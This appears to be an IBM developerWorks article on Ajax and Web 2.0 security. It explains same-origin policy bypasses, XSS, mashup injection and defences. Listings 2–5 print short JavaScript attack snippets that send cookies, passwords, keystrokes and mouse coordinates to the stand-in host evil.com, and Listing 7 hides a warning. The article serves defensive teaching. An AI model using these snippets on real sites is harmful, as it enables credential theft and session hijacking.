Ajax is built on Dynamic HTML (DHTML) technologies, including these most common ones:
- JavaScript: JavaScript is a scripting language commonly used in client-slide Web applications.
- Document Object Model (DOM): DOM is a standard object model for representing HTML or XML documents. Most of today's browsers support DOM and allow JavaScript code to read and modify the HTML content dynamically.
- Cascading Style Sheets (CSS): CSS is a stylesheet language used to describe the presentation of HTML documents. JavaScript can modify the stylesheet at run time, allowing the presentation of the Web page to update dynamically.
In Ajax, client-side JavaScript updates the presentation of a Web page by dynamically modifying the DOM tree and the stylesheet. In addition, asynchronous communication, enabled by the following technologies, allows dynamic updates of data without the need to reload the entire Web page:
-
XMLHttpRequest:XMLHttpRequestis an API that allows client-side JavaScript to make HTTP connections to remote servers and to exchange data, such as plain text, XML, or JavaScript Serialized Object Notation (JSON). - JSON: JSON, as proposed in Request for Comments (RFC) 4627, is a lightweight, text-based, language-independent, data-interchange format. It's based on a subset of the ECMAScript language (making it part of the JavaScript language), and it defines a small set of formatting rules to create a portable representation of structured data.
Note that there are other commonly used alternatives for JSON in Ajax applications, such as XML and unformatted plain text. We chose to discuss JSON here, since it has some security implications that we'll examine later in this article.
Readers who aren't familiar with Ajax are encouraged to read the articles in Resources.
Understanding the same-origin policy
When contents from multiple originators are somehow integrated into a single application, some of the contents might have a different level of trust from others, or they might not necessarily trust each other. A natural requirement is to isolate contents from different originators to minimize their interference.
The same-origin policy is the part of the current browser's protection mechanism that isolates Web applications coming from different domains under an assumption that domains represent originators. That is, if applications in multiple windows or frames are downloaded from different servers, they will not be able to access each other's data and scripts. Note that the same-origin policy only applies to HTML documents. JavaScript files that are imported into an HTML document by <script src="..." > tags are regarded as part of the same-origin as the HTML document. This policy is implemented in all the major browser implementations.
In the context of XMLHttpRequest, the same-origin policy is intended to control an application's interaction with remote servers. However, the same-origin policy has only limited impact on Web 2.0 applications for several reasons:
- You can bypass the same-origin policy in many ways: We'll illustrate some of these ways later in the article.
- A major characteristic of Web 2.0 applications is the users' contribution to the content: That is, the content is usually not provided by a trusted service but often rather by anonymous users through blogs, wikis, and so on. Therefore, even the contents from a single server can actually come from multiple sources.
- Browsers enforcing the same-origin policy check the domain name of the server as a string literal: For example, http://www.abc.com/ and http://12.34.56.78/ are treated as different domains even if the IP address of www.abc.com is actually 12.34.56.78. In addition, any path expression of the URL is ignored. For example, http://www.abc.com/~alice is identified as the same-origin as http://www.abc.com/~malroy, ignoring the fact that both directories probably belong to different users.
-
Most Web browsers allow a Web application to relax its domain definition to the super domain of the application itself: For example, if the application is downloaded from www.abc.com, the application can override the
document.domainproperty to abc.com or just com (in case of Firefox). Most of the latest browsers only allow access to window objects between windows or frames that have overridden theirdocument.domainproperty to the same value. However, some older versions of browsers allow makingXMLHttpRequestconnections to the domain specified at thedocument.domainproperty. - Even if a Web server is in the trusted domain, it might not be the originator of the contents, especially in the context of Web 2.0: For example, an enterprise portal server, Web-based mail server, or wiki may be trusted, but the contents they're hosting may include input from potentially malicious third parties, which could be the target of cross-site scripting (XSS) attacks (which we'll describe later). Therefore, the domains of the servers don't represent trustworthiness of the contents.
Avoiding the same-origin policy: JSON and the dynamic script tag
Since JSON is just plain text with a simple bracketed structure, many channels can
exchange a JSON message. Because of the same-origin policy, you cannot use XMLHttpRequest when communicating with external servers. JSON with Padding (JSONP) is a way to bypass the same-origin policy by using JSON in combination with the <script> tag, as shown in Listing 1.
Listing 1. JSON example
<script type="text/javascript"
src="http://travel.com/findItinerary?username=sachiko&
reservationNum=1234&output=json&callback=showItinerary" />
|
When JavaScript code dynamically inserts the <script>
tag, the browser accesses the URL in the src attribute. This
results in sending the information in the query string to the server. In Listing 1, the username and reservation are passed as name-value pairs. In addition, the query
string contains the output format requested to the server and the name of the callback
function (that is, showItinerary). When the <script> tag loads, the callback function executes, and the
information returned from the server passes to it through its arguments.
Avoiding the same-origin policy: Ajax proxy
An Ajax proxy is an application-level proxy server that mediates HTTP requests and
responses between Web browsers and servers. Ajax proxies allow Web browsers to bypass
the same-origin policy and therefore to access third-party servers using XMLHttpRequest. To realize this bypassing, you can choose from two approaches:
- The client-side Web application is aware of the third-party URL and passes it as a request parameter in the HTTP request to the Ajax proxy. The proxy then forwards the request to www.remoteservice.com. Note that you can hide the use of a proxy server in the implementation of the Ajax library used by the Web application developer. To the Web application developer, it might look like he doesn't have the same-origin policy at all.
- The client-side Web application isn't aware of the third-party URL, and it tries to access resources on the Ajax proxy server through HTTP. By a predefined encoding rule, the Ajax proxy translates the requested URL into a third-party server URL and retrieves contents on behalf of the client. In this case, it looks to the Web application developer like he's communicating with the proxy server directly.
Avoiding the same-origin policy: Greasemonkey
Greasemonkey is a Firefox extension that allows users to modify Web page styles and content on the fly. Greasemonkey users can associate user script files with a set of URLs. These scripts execute when the browser loads a page from the URL set. Greasemonkey provides APIs to the user scripts with additional permissions (compared to the permissions of the scripts running in the browser sandbox).
One of these APIs is GM_XMLHttpRequest, which is basically XMLHttpRequest without the same-origin policy. A user script can override the browser's built-in XMLHttpRequest with GM_XMLHttpRequest to give XMLHttpRequest permission to perform cross-domain access.
The use of GM_XMLHttpRequest is protected only by means of
user consent. That is, Greasemonkey only requires user confirmation when associating a
new user script with a particular set of URLs. However, it isn't difficult to imagine
that some users might be tricked into accepting this installation without fully understanding its consequences.
Not only do developers avoid the same-origin policy and open up an attack surface to malicious users, but current applications also become vulnerable to attacks when malicious code is inserted into a Web application. Unfortunately, malicious code can find its way into a Web application in many ways. We'll briefly discuss two of these possible routes, which are becoming more relevant in the context of Web 2.0.
XSS is a common attack in which an attacker injects a malicious piece of code into an otherwise benign site. The two basic types of XSS attacks are:
- Reflected XSS
- Stored XSS
A reflected XSS attack exploits vulnerable Web applications that display input parameters back to the browser without checking for the presence of active content in them. Typically, an attacker lures victims into clicking on the URL, as shown in Listing 2.
Listing 2. An example URL for reflected XSS
http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie="
+ document.cookie; </script>
|
Suppose that trusted.com hosts a service that has a search feature that posts back the
search results together with the keywords that were entered. If the search application
doesn't filter the special characters [such as the less than (<) and greater than
(>) symbols] in the URL, the content of the <script> tag will also be inserted into the user Web page, and
as a result, will send the document cookie to the remote server evil.com.
The stored XSS attack has become more important with the prevalence of Web 2.0. The key of Web 2.0 is sharing, interaction, and collaboration among people, so users have more chance of seeing other (potentially malicious) users' input through services such as social network services (SNS), wikis, or blogs.
In either case, input value validation and sanitization are the key to preventing XSS attacks. Usually Web servers remove scripts from user input, but often attackers exploit vulnerabilities to bypass these filters, resulting in major attacks such as the Yamanner or MySpace worms.
A mashup application is a Web application that combines content and services from multiple sources into one integrated user experience. A typical mashup application results in a single client-side application, so the different parts of the mashup can share information and interact through several browser resources such as the DOM tree or browser window properties. When some part of the mashup is written under malicious intent (or has been hacked), it can inject malicious code into the application. This can result in all kinds of attacks (similar to XSS), including the theft of sensitive user information.
Understanding the Effect of Attacks
Now that you know how attackers get their code into applications, look at the implications of some common attacks.
The most direct benefit for an attacker is to obtain sensitive user information, such as user passwords or cookies. Since injected scripts can access any part of the DOM tree, they can, among other things, steal password information from the text field of login forms. For example, Listing 3 shows code that steals information and sends it to an attacker's server.
Listing 3. Example attack: Stealing a password from a text field
function stealpw(){
var pw = document.getElementById("password").value;
document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;
|
In this example, the attacker needs to wait until the user clicks the submit button before he receives his data. Ajax makes an attacker's job even easier, since it allows him to send arbitrary information to remote servers without waiting for explicit user actions, such as pushing a button or clicking on a link. This type of traffic would normally be seen as suspicious behavior, but due to the asynchronous nature of Ajax applications, this traffic usually goes undetected.
Using a similar approach, an attacker can also steal document cookies of sensitive Web applications (such as online banking applications). The document cookies can allow the attacker to hijack sessions or log in with stolen credentials.
Note that Microsoft® Internet Explorer® 6 or later supports the HttpOnly cookies, which prevent the client-side script from accessing the document cookies. However, since most of the Web applications cannot rely on the browser implementation, this doesn't improve the situation.
Stealing keyboard events with a key logger
Listing 4 shows a simple example of a key logger, which steals keyboard events from the Web page and sends them to a remote server. The key logger allows an attacker to hijack any user input; for example, if a user uses a Web-based e-mail service, the key logger will record and transmit any text input to the attacker. The attacker can then analyze the recorded data to retrieve confidential information, such as passwords and confidential messages.
Listing 4. Example attack: Key logger
function keylogger(e){
document.images[0].src = "http://evil.com/logger?key="
+ e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);
|
Stealing keyboard events with a mouse sniffer
Soft keypads are becoming a common technique to prevent key-logger attacks on sensitive input, such as the login PIN code for online banking services. However, mouse sniffers can use techniques similar to those used by key loggers. By stealing the X and Y coordinates of mouse events, it is possible to deduce which keys on the keypad were clicked. Listing 5 demonstrates an example of a simple mouse sniffer.
Listing 5. Example attack: Mouse sniffer
function sniffer(e){
document.images[0].src= "http://evil.com/imgs/sniffer?x="
+ e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);
|
Using the DOM interface, an attacker can modify any information in the DOM tree. For example, as a user is making an online money transfer, it is possible for an attacker to change the destination account to one that belongs to him. As a result, the transferred money will be deposited into the attacker's account.
In another type of attack, the attacker might modify the stylesheet to hide information from users. For example, suppose that a Web page includes a warning message, as shown in Listing 6.
Listing 6. Warning message
...
<style type="text/css"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to
potentially malicious Web pages, so be careful. </div>
...
|
The attacker might modify the stylesheet to eliminate the warning. For example, Listing 7 shows JavaScript code that modifies the style of the warning to make it invisible on a white background.
Listing 7. Example attack: Eliminating warnings
var e = document.getElementById("warning");
e.style.color= "white";
|
Now that you have the basic knowledge of how attacks might be realized and what the consequences would be, let's have a quick look at some techniques that you can apply to improve the security of Ajax applications.
As you've seen in the XSS examples, most of the attacks exploit server-side vulnerabilities by injecting malicious scripts. Therefore, input validation is the first step toward protecting Web applications. Input validation and sanitation filter out all possible active or malicious content from untrusted input.
Two types of input validation:
- Blacklisting: In this approach, all characters in the blacklist are filtered out from the input. The biggest challenge with blacklisting is to ensure that all dangerous characters are listed. Since it isn't possible to foresee all possible combinations of input, blacklisting often fails to validate correctly.
- Whitelisting: This alternative lists all the allowed characters and removes all other characters from the input. The big challenge for whitelisting is to keep the list as short as possible while you still provide enough flexibility to allow the type of input required for the Web application.
You cannot consider blacklisting or whitelisting to be a foolproof solution. However, whitelisting is generally considered the more secure option. Therefore, it is recommended that you use whitelisting to clean up potentially dangerous input.
Escaping special characters [such as changing the less than symbol (<) to "<"] in the string that you send to and display on browsers is another way to improve security. Some programming languages provide useful built-in functions to escape special characters.
Use vulnerability checking tools
Many Web applications are vulnerable due to the similar type of programming errors in applications. Therefore, security experts have developed tools to detect these insecure programming practices. Such tools, called vulnerability checking tools, detect the potential vulnerabilities in advance. One of the most common vulnerabilities that these tools detect is when programmers forget to call a sanitation routine on potential malicious input.
Don't generate and execute code dynamically
You can use several ways to generate code dynamically in a JavaScript program. One of the
best-known functions is the eval() function, which allows you
to execute an arbitrary string as JavaScript code. However, it is very dangerous to use
this function without care. Avoid the use of dynamically generated code unless absolutely necessary. Unfortunately, some widespread JavaScript libraries use the eval() function internally.
Since JSON is based on a subset of JavaScript, it is script content, which potentially
can contain malicious code. However, JSON is a safe subset of JavaScript that excludes
assignment and invocation. Therefore, many JavaScript libraries simply use the eval() function to convert JSON into a JavaScript object. To exploit
this, attackers send malformed JSON objects to these libraries so the eval() function executes their malicious code. You can take several approaches to secure the use of JSON. The first approach is to use the regular expressions defined in RFC 4627 to make sure the JSON data doesn't contain active parts. Listing 8 demonstrates how to check a JSON string with a regular expression.
Listing 8. Checking a JSON string with a regular expression
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
eval('(' + text + ')');
|
An even more secure alternative is using a JSON parser to parse the JSON data. Since the grammar of JSON is fairly simple, you can implement such a parser easily without any noticeable performance difference.
Use <iframe> when integrating distrusted contents
You can take advantage of the same-origin policy to make it harder for attackers to
get access to the full DOM tree. When you load data from a different domain into an
<iframe>, give that data its own JavaScript execution context and DOM tree. This prevents attackers from stealing information from the main page. It's a good practice to use the <iframe> as much as possible to confine untrusted external contents.
In this article, we provided an overview of different ways in which Web 2.0 applications avoid the same-origin policy. We also demonstrated how this opens up some new attack vectors to Web applications. We discussed some common types of attacks and the results that attackers can obtain. Finally, we concluded with a short best practices section, which you can use to avoid some of the most common attacks.
Learn
-
Ajax and XML:
Five common Ajax patterns (Jack D. Herrington,developerWorks, March 2007): Explore easy-to-use, real-life Ajax design patterns.
-
Mastering
Ajaxseries (Brett McLaughlin, developerWorks, December 2005 - March 2007):
In Parts 1 through 10, delve deep into Ajax, JSON, and other Web 2.0 data formats. It's a
great staring point to explore Web 2.0 development.
-
JSON.org: Find an introduction to JSON and links to the JSON implementations in different programming languages.
-
RFC 4627: The application/json
Media Type for JavaScript Object Notation (JSON) (D. Crockford, JSON.org, July 2006): Read an IETF memo describing the JSON format in great detail.
-
Remote JSON -
JSONP (Bob Ippolito, December 2005): In this blog post, examine a method to fetch cross-domain data by using the dynamic script tag and JSON.
-
Top 10 Ajax Security Holes and Driving Factors (Shreeraj Shah, Help Net Security, November 2006): Learn the most common pitfalls Web 2.0 developers can encounter during their designs.
-
Ajax Security Basics (Jaswinder S.
Hayre and Jayasankar Kelath, SecurityFocus, June 2006): Read how Ajax enlarges the attack surface and complicates vulnerability assessment.
-
Open Web Application
Security Project (OWASP): Find materials to learn more about security issues of Web applications.
-
JS.Yamanner@m:
Visit the Symantec Web site for the technical details of the Yamanner worm.
-
Technical
explanation of The MySpace Worm: Get the technical details of the MySpace worm.
-
The Same
Origin Policy: Read Jesse Ruderman's description of the same-origin policy.
-
IBM XML certification: Find out how you can become an IBM-Certified Developer in XML and related technologies.
-
XML technical library: See the developerWorks XML Zone for a wide range of technical articles and tips, tutorials, standards, and IBM Redbooks.
-
developerWorks technical events and webcasts: Stay current with technology in these sessions.
- The technology
bookstore: Browse for books on these and other technical topics.
Get products and technologies
-
Greasespot: Visit the home page of Greasemonkey and its links to related resources.
-
IBM trial software: Build your next development project with trial software available for download directly from developerWorks.
Discuss
-
developerWorks blogs: Check out these blogs and get involved in the developerWorks community.
-
XML zone discussion forums: Participate in any of several XML-related discussions.

Sachiko Yoshihama is a researcher in the Security and Privacy Department at IBM Tokyo Research Laboratory in Yamato, Kanagawa, Japan. Her research interests include Web 2.0 security, information flow control, and trusted computing.

Frederik De Keukelaere is a postdoctoral researcher at IBM Tokyo Research Laboratory. Before joining TRL, he was active within the MPEG community, where he served as contributor and editor for several MPEG-21 standards. At TRL, he focuses on enhancing Web 2.0 security. He received his Ph.D. in computer science engineering from Ghent University, Belgium.

Michael Steiner is a research staff member at the IBM T.J. Watson Research Center. His research focuses on cryptography and security in distributed systems. He received his Ph.D. in computer science from Saarland University, Germany.

Naohiko Uramoto joined the IBM Tokyo Research Laboratory in 1990 after receiving a master's degree in computer science from Kyushu University. He received a Ph.D. in computer science from Kyushu University in 2000. He has been a visiting associate professor at the National Institute of Informatics from 2000 to 2005. Currently, he leads research projects on Web services security and Web 2.0 security.




